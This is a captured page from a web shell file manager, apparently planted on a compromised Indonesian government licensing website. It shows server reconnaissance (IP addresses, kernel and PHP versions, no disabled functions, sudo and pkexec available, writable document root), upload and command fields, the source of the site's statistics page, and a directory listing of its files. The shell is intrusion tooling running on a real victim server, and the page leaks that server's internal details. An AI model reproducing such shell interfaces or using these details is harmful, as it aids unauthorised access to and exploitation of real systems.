p!ranha?
Server IP : 103.169.32.36  /  Your IP : 216.73.217.108
Web Server : Apache
System : Linux web.dpmptsp 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 5.6.40
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/dpmptsp/public_html/home/page/

Upload File :
Curr3nt_D!r [ Writeable ] D0cum3nt_r0Ot [ Writeable ]

 
Command :
Current File : /home/dpmptsp/public_html/home/page/statistik.php
<?php
	$all = getData('all',3);
	require_once 'tracking/curl/curl.php';	
	$curl = new Curl();
	$curl->get('http://183.91.68.90:82/simpel2/index.php?act=Permohonan&task=client&find=statistik');					
	if ($curl->http_status_code == 200) {
		$response = json_decode($curl->response);			
		$statistik=$response->obj;	
		//debug($statistik);	exit;		
		}else{
			$error=true; 
			$ket='<div class="alert_message red" jQuery><p style="font-weight:700;"><i class="fa fa-ban"></i> ERROR! GAGAL MENGAMBIL DATA DARI SERVER DPMPTSP</p></div>';
		}	
$keyData='';		
$valueData='';		
foreach($statistik->bulanan as $k=>$v){
	//debug($v);exit;
	$keyData.="'".$k."',";
	$valueData.=$v->jumlah.',';
	
}

$keyDataMingguan='';		
$valueDataMingguan='';		
foreach($statistik->mingguan as $k=>$v){
	//debug($v);exit;
	$keyDataMingguan.="'".$v->tanggal."',";
	$valueDataMingguan.=$v->jumlah.',';
	
}

$keyDataTahunan='';		
$valueDataTahunanDetail='';		
foreach($statistik->tahunan as $k=>$v){
	$keyDataTahunan.="{name: '".$k."',y:".$v->jumlah.",drilldown: '".$k."'},";
	$valueDataTahunanDetail.="{name: '".$k."',id: '".$k."',data: [";
	foreach($v->detail as $k2=>$v2){
		$valueDataTahunanDetail.="['".$k2."',".$v2->jumlah."],";
	}
	$valueDataTahunanDetail.="]},";
	
}

?> 
		<style type="text/css">
			.statChart {
				height: 400px; 
				min-width: 310px; 
				width: 100%;
				max-width: 800px;
				margin: 0 auto;
			}
		</style>
		
 <!-- Section -->
            <section>
                <div class="container">
                    <div class="row">
                        <!-- Main content -->
                        <div class="col col_9_of_12">
						<div class="head_title"><h2>Statistik Permohonan Perizinan</h2></div>
							<div class="tab_content">
                                <ul class="clearfix">
                                    <li><h4><a href="#mingguan">Mingguan</a></h4></li>
                                    <li><h4><a href="#bulanan">Bulanan</a></h4></li>
                                    <li><h4><a href="#tahunan">Tahunan</a></h4></li>
                                </ul>
                                <div id="mingguan">
									<div id="statMingguan" class="statChart"></div>
                                </div>
                                <div id="bulanan">
									<div id="statBulanan" class="statChart"></div>
                                </div>
                                <div id="tahunan">
									<div id="statTahunan" class="statChart"></div>
                                </div>
                            </div>
							<hr>
							<div class="row">
							<div class="head_title"><h2>Statistik Jenis Perizinan</h2></div>
                                <select id="jsi" name="jsi" class="orderby">
                                    <option value="" selected="selected">Pilih</option>
									<?php
									foreach($statistik->jenisizin as $k=>$v){
										
										if(empty($v->jsiSubNama)){
											$nama = str_replace(' ','_',$v->jsiNama);
											echo '<option value="'.strtolower($v->jsiKode).';'.strtolower($v->jsiSubKode).';'.$nama.'" >'.$v->jsiNama.'</option>';
										}else{
											$nama = $v->jsiNama.' ('.$v->jsiSubNama.')';
											$nama = str_replace(' ','_',$nama);
											echo '<option value="'.strtolower($v->jsiKode).';'.strtolower($v->jsiSubKode).';'.$nama.'" >'.$v->jsiNama.' ('.$v->jsiSubNama.')</option>';
										}
									}
									?>
                                </select>
							</div>	
							<div class="row">
								<div id="statData" class="statChart"></div>	
								<pre id="cek"></pre>	
							</div>
							<hr>						
                            <!-- You might also like -->
                            <div class="panel_title">
                                <div>
                                    <h4><a href="#">Recent Post</a></h4>
                                </div>
                            </div>
							
                    <div class="row">
							<?php
							foreach($all as $b){
							$tgl=explode(' ',$b['post_date']);
							$dom = new domDocument;
							$dom->loadHTML($b['post_content']);
							$dom->preserveWhiteSpace = false;
							$p = $dom->getElementsByTagName('p');
	
							$nar=array();
							foreach($p as $n){ $nar[] = $n->nodeValue;}	
							if(!empty($nar)){
								$narasi=ambilNarasi($nar[0],200);
							}else{$narasi='';}
							?>
                    <div class="col col_4_of_12">
                        <!-- Layout post 1 -->
                        <div class="layout_post_1">
                            <div class="item_thumb">
                                <div class="thumb_icon">
                                    <a href="<?php echo buatLink($b['post_type'],$b['post_ID'],$b['post_title']); ?>" jQuery><i class="fa fa-copy"></i></a>
                                </div>
                                <div class="thumb_hover">
                                    <a href="<?php echo buatLink($b['post_type'],$b['post_ID'],$b['post_title']); ?>"><img src="<?php echo PATH.'assets/post/'.$b['post_image']; ?>" onerror="this.onerror=null;this.src='<?php echo PATH.'assets/post/no_image_available.png'; ?>';" class="visible animated"></a>
                                </div>
							   <div class="thumb_meta">
										<span class="category" jQuery><a href="#"><?php echo $b['post_type']; ?></a></span>
										<span class="comments"><a href="<?php echo buatLink($b['post_type'],$b['post_ID'],$b['post_title']); ?>"><?php echo tglIndo($tgl[0]); ?></a></span>
								</div>
                            </div>
                            <div class="item_content">
                                <h4><a href="<?php echo buatLink($b['post_type'],$b['post_ID'],$b['post_title']); ?>"><?php echo $b['post_title']; ?></a></h4>
                               <p style="text-align:justify"><?php echo $narasi; ?></p>
							   <a class="btn btn_turquoise btn_expand btn_red" href="<?php echo buatLink($b['post_type'],$b['post_ID'],$b['post_title']); ?>">Read More <i class="fa fa-chevron-right"></i></a>
                            </div>
                        </div><!-- End Layout post 1 -->
                    </div>													
							<?php
							}
							?>					
                </div><!-- End You might also like -->

	
                        </div><!-- End Main content -->
				<?php
				include ('part/sidebar.php');
				?>
						
                    </div>
                </div>
            </section><!-- End Section -->
N4m3
5!z3
L45t M0d!f!3d
0wn3r / Gr0up
P3Rm!55!0n5
0pt!0n5
..
--
July 30 2026 06:50:24
1000 / 1000
0755
alur.php
4.117 KB
April 22 2024 02:36:21
1000 / 1000
0755
cari.php
2.459 KB
January 29 2026 02:36:23
1000 / 1000
0755
gallery.php
1.319 KB
January 13 2024 08:41:28
1000 / 1000
0755
home.php
17.532 KB
July 31 2026 08:56:31
1000 / 1000
0755
ikm.php
3.575 KB
April 22 2024 02:36:48
1000 / 1000
0755
ikm_lama.php
3.793 KB
January 13 2024 08:41:28
1000 / 1000
0755
index.html
0 KB
January 13 2024 08:41:28
1000 / 1000
0755
jenis-perizinan.php
2.274 KB
January 13 2024 08:41:28
1000 / 1000
0755
juknis_simolek.php
5.661 KB
January 13 2024 08:41:28
1000 / 1000
0755
kontak.php
8.309 KB
April 22 2024 02:37:24
1000 / 1000
0755
maklumat.php
3.652 KB
April 22 2024 02:37:38
1000 / 1000
0755
panduan-perilaku.php
4.309 KB
April 22 2024 02:37:51
1000 / 1000
0755
perizinan.php
3.562 KB
January 13 2024 08:41:29
1000 / 1000
0755
pma-pmdn.php
3.456 KB
April 22 2024 02:38:14
1000 / 1000
0755
potensi_investasi.php
14.727 KB
January 13 2024 08:41:29
1000 / 1000
0755
profile.php
11.203 KB
July 30 2024 04:09:54
1000 / 1000
0755
profile_pekanbaru.php
3.535 KB
January 13 2024 08:41:29
1000 / 1000
0755
read.php
6.527 KB
April 22 2024 02:34:13
1000 / 1000
0755
statistik.php
6.521 KB
April 22 2024 02:38:57
1000 / 1000
0755
struktur.php
4.165 KB
January 13 2024 08:41:29
1000 / 1000
0755